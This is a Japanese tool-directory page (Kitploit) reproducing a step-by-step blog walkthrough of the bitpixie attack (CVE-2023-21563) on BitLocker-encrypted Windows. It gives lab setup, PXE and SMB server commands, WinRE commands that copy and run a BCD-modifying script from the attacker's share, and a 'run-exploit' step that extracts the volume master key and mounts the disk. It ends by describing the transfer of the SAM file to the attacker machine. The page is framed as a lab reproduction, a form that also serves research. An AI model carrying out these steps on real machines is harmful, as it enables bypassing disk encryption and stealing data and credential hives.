Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
bitpixie — CVE-2023-21563の脆弱性に基づくBitLocker暗号化のクラッキング | Kitploit
ツール/GitHubGitHub/lr2006-robot/bitpixie
特権昇格暗号化/復号化ツール脆弱性分析エクスプロイトポストエクスプロイトハードウェアセキュリティ学習と教育ラボと実践
GitHublr2006-robot/bitpixie

bitpixie

CVE-2023-21563の脆弱性に基づくBitLocker暗号化のクラッキング

リポジトリを見る
3183ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

bitpixie

完全なブログはこちらをクリック

主な参考

  • syss のブログ記事
  • Syss の Github リポジトリ

Bitpixie による BitLocker 破解の実装

仮想マシンで再現する。本機(攻撃機)は Ubuntu 22.04.5 LTS を、被害機は Windows 10 21H2 19041.1 と Windows 11 21H2 22000.318 を使用し、いずれも BitLocker 暗号化を有効にしている。仮想マシンマネージャーには QEMU を使用し、virt-manager で管理する。ここでは仮想マシンの Windows 11 を使用して操作する。

私の再現関連ファイルは Syss の Github リポジトリを元にしており、これを基にツールのバージョン適合やいくつかの予期しない状況への対応を行っている。ダウンロードしてそのまま使用することも、必要に応じて変更することもできる。仮想マシンのイメージファイルは UUP Dump から入手した。ここでは各種 Windows バージョンのダウンロードが提供されており、ダウンロード後に cmd ファイルまたは sh ファイルを実行すると ISO イメージファイルが得られる。

被害仮想マシン環境の構築

QEMU と virt-manager のインストールと使用方法についてはここでは説明しないが、新しくダウンロードしたユーザーは virt-manager で「Edit -> Preferences -> General -> Enable XML editing」を選択して XML 編集機能を有効にする。これにより、仮想マシンの XML 設定ファイルを直接編集できるようになる。

仮想マシンを作成する際は、「Local install media (ISO image or CDROM)」を選択し、先ほどダウンロードした Windows 11 の ISO イメージファイルを選択する。適切なリソース(CPU、メモリ、ディスク容量など)を割り当て、最後に必ず「Customize configuration before install」を選択する。これで、インストール前に設定ファイルを編集できる。ここで、OS の自動認識に問題がある場合は、「Microsoft Windows 10/11」を自分で選択すればよい。

ここから設定を開始する。最も重要な点は(これは後から変更できず、他は作成後に繰り返し変更できる)、Overview タブで Firmware として「UEFI x86_64: /usr/share/OVMF/OVMF_CODE_4M.ms.fd」を選択することだ。これを選択しなかった場合は、仮想マシンを削除して作り直せばよい。手間ではないので。 虚拟机 Overview 配置

次に「Boot Options」タブに移動し、「SATA CDROM 1」にチェックが入っていることを確認する。入っていないとシステムをインストールできない。リストの先頭に「SATA CDROM 1」を移動させておくと、起動時に選択が簡単になる。この時点で作成を進めてよい。システムのインストール後に、残りの設定をまとめて変更する。

「Press any key to boot from CD or DVD...」という表示が見えたら、任意のキーを押してインストール画面に入り、指示に従ってインストールを完了する。もし誤って別の画面に入ってしまっても、慌てずに「Boot Manager」を選択し、その後「UEFI: QEMU DVD-ROM」を選べば元の画面に戻り、任意のキーで起動できる。 Boot Manager

次にシステムをインストールする。プロダクトキーなしにチェックを入れ、Pro エディションをインストールすればよい。その後はアカウント登録などの面倒な手順があるが、オフラインアカウントで起動することをお勧めする。その方が手間が少ない。このオプションがない場合は、Shift + F10 でコマンド プロンプトを開き、OOBE\BYPASSNRO と入力してオフラインアカウント作成オプションを有効にする。

正常にログインできたら、ターミナルで msinfo32 と入力してシステム情報を確認し(物理マシンの場合は UEFI かどうかを確認)、そのままシャットダウンしてから設定を変更する:

  1. TPM は「Add Hardware」で「TPM 2.0」を追加する。TPM がない場合は「Add Hardware」で TPM を追加すればよい。
  2. 「SATA CDROM 1」で、ISO イメージファイルを事前に用意した virtio イメージファイル に置き換える。
  3. 「Boot Options」に移動し、「NIC」にもチェックを入れる。
  4. 「NIC」で「Device model」を「virtio」に変更し、XML に <rom enabled="no"/> を追加してネットワークブートを有効にする。以下はその例だ:
<interface type="network">
  <mac address="52:54:00:2f:53:4e"/>
  <source network="default"/>
  <model type="virtio"/>
  <boot order="2"/>
  <rom enabled="no"/>
  <address type="pci" domain="0x0000" bus="0x01" slot="0x00" function="0x0"/>
</interface>

virtio のネットワーク構成を選ぶのは、そのネットワークハードウェアの「半仮想化」特性により、ホストと直接通信できるためだ。また、ネットワークブート ROM を無効にするのは、UEFI ファームウェアが内蔵の PXE プロトコルを介して virtio ネットワークカードと直接通信できるようにし、起動プロセス中に不要な干渉が発生するのを防ぐためだ。これにより、問題なくシステムに入り、その後の設定とテストを実施できる。

仮想マシンに入り、CD ドライブで virtio ドライバーをインストールすると、自動で設定が完了する。ネットワークが正常か簡単にテストできる。その後、BitLocker 暗号化を実行する。後で検証できるよう、デスクトップに flag ファイルを作成しておくとよい。

物理マシンで再現する場合は、攻撃機と被害機を LAN ケーブルで接続するだけでよく、virtio の設定は不要だ。他の設定は基本的に同じだが、唯一の注意点は、物理マシンには複数のネットワークインターフェースがある場合があるため、正しいインターフェースを選んで設定する必要があることだ。

被害機の設定はこれで完了だ。その後、シャットダウンして、前述の脆弱性悪用の原理で定めた手順に従って脆弱性を悪用する。

攻撃機の設定と Bitpixie 攻撃

ここでは攻撃全体の流れの参考図を示す。まず大まかな流れを確認し、後で段階的に実装していく。 攻击流程

本機(攻撃機)には以下のソフトウェアパッケージをインストールする必要がある:

  • dnsmasq
  • impacket-smbserver
  • hivexregedit

Ubuntu または Debian では、以下のコマンドでインストールできる:

sudo apt install dnsmasq libwin-hivex-perl python3-impacket

プロジェクトで提供されているファイル内の build.sh を実行して bitpixie-initramfs を生成する。ローカル環境に合わせて変更したい場合は、build.sh 内を編集し、好みのツールやバージョンファイルを設定してから、bitpixie-initramfs を再生成すればよい。

次に、ターミナルで ifconfig を入力し、本機(攻撃機)の仮想ゲートウェイを確認する。以下は私の本機の例だ:

virbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.123.1  netmask 255.255.255.0  broadcast 192.168.123.255
        ether 52:54:00:23:11:39  txqueuelen 1000  (Ethernet)
        RX packets 46749  bytes 4384179 (4.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 67170  bytes 414459630 (414.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

以下のコマンドで、PXE ブートプロセス用の TFTP サーバーと、変更した BCD ファイルを転送するスクリプト用の SMB サーバーを起動する。先ほど確認したインターフェースを指定する。私の場合は virbr0 だ。

# Start the TFTP and the DHCP server
./start-server.sh pxe <interface>
# Start the SMB server for the transfer of the BCD file
./start-server.sh smb <interface>

主な問題は、bcdedit コマンドがローカル管理者としてしか実行できないことだ。ただし、BCD ファイルはドライブの暗号化されていない EFI パーティションにあるため、抽出する方法は複数ある。1つの方法は、ハードドライブを物理的に取り外し、別のシステムで BCD ファイルを抽出することだ。しかし、より簡単で侵襲性の低い方法は、詳細ブートオプションで起動することだ。ほとんどのシステムでは、Shift + 再起動 でこれを行うことができる。ログイン画面でもこの方法は有効だ。次に、「トラブルシューティング -> 詳細オプション -> コマンド プロンプト」でコマンドラインを入力できる。このプロセス中に BitLocker 回復画面が表示される可能性が高いが、「このドライブをスキップ」ボタンでスキップできる。

次に、ターミナルで ipconfig と入力してネットワークの状態を確認する。IP が 10.13.37.xxx と表示されていれば、以下の手順はスキップしてよい。表示されていない場合は、ネットワークを手動で設定する必要がある。まず正しいパスを確認し、どのドライブかを調べ、自分の仮想マシンのバージョンを選定する:

dir D:\NetKVM\w11\amd64
dir E:\NetKVM\w11\amd64

その後、結果に応じて以下のコマンドを入力し、ネットワークを設定する:

drvload D:\viostor\w11\amd64\viostor.inf
drvload D:\NetKVM\w11\amd64\netkvm.inf
ipconfig

Network Configuration

IP アドレスが表示されたら、SMB 転送を行える。以下のコマンドを入力すると、変更した BCD ファイルが攻撃者のマシンに直接移動され、実際の bitpixie 攻撃をすぐに開始できる:

wpeutil initializenetwork
net use S: \\10.13.37.100\smb
cd %TEMP%
copy S:\create-bcd.bat .
.\create-bcd.bat

BCD_SMB

次に、画面に戻り、「デバイスの使用 -> PXE 起動」でダウングレードされたブートローダーを起動し、変更した BCD を読み込み、ディスクのシールを解除し、カーネルの起動に失敗させて、pxesoftreboot を実行する。PXE 起動が見つからない場合は、一度終了して仮想マシンの設定を確認し、「Boot Options」の NIC オプションにチェックが入っているかどうかを確認する。PXE サーバーを制御しているため、事前に用意した Debian システムに入ることができる。

その後、root と入力してログインし、su コマンドを使用してから、パーティションに対してスクリプトを実行する:

run-exploit /dev/sda3

Run Exploit

すべてが順調に進めば、一致する VMK データが直接表示され、同時にカレントディレクトリに vmk.dat ファイルが作成される。これがメモリから抽出した VMK ファイルだ。暗号化ディスクの内容は /mnt ディレクトリにマウントされているので、そのまま移動して先ほど作成した flag ファイルを確認できる。 Flag File

これで、Bitpixie の脆弱性を悪用して、BitLocker 暗号化ディスクの VMK ファイルを抽出し、暗号化ディスクの内容へのアクセスに成功したことになる。

もちろん、いくつかの問題が発生することもある。例えば、VMK ファイルが見つからない場合だ。この場合は、もう一度試すことをお勧めする。VMK がメモリ内に正しく保持されていないか、正しくスキャンされていない可能性がある。また、BCD のバージョンが一致しないことが原因の場合もある。もう1つのケースは、VMK ファイルは見つかったが暗号化ディスクをマウントできない場合だ。これは VMK ファイルが不完全または破損している可能性があるため、有効な識別子 03 20 01 00 を必ず確認し、VMK ファイルの再抽出を試みるか、使用しているツールが現在のシステムの BitLocker バージョンをサポートしているかを確認してほしい(dislcker のバージョンは安定した古いバージョンに固定されているため、新しいバージョンをダウンロードし直すとよい)。

これで必要なファイルにアクセスできるようになったが、元のコンピュータのファイルをまだエクスポートしていない。ここでは、必要なデータをネットワーク経由で攻撃機に直接転送できる。私はネットワーク経由で攻撃機に直接転送する方法を選んだ。システムファイルなどは必要ないので、有用なファイルだけを転送することをお勧めする。ここでは、デスクトップの flag ファイルとシステムの SAM ファイルを例にする。

ツールをダウンロード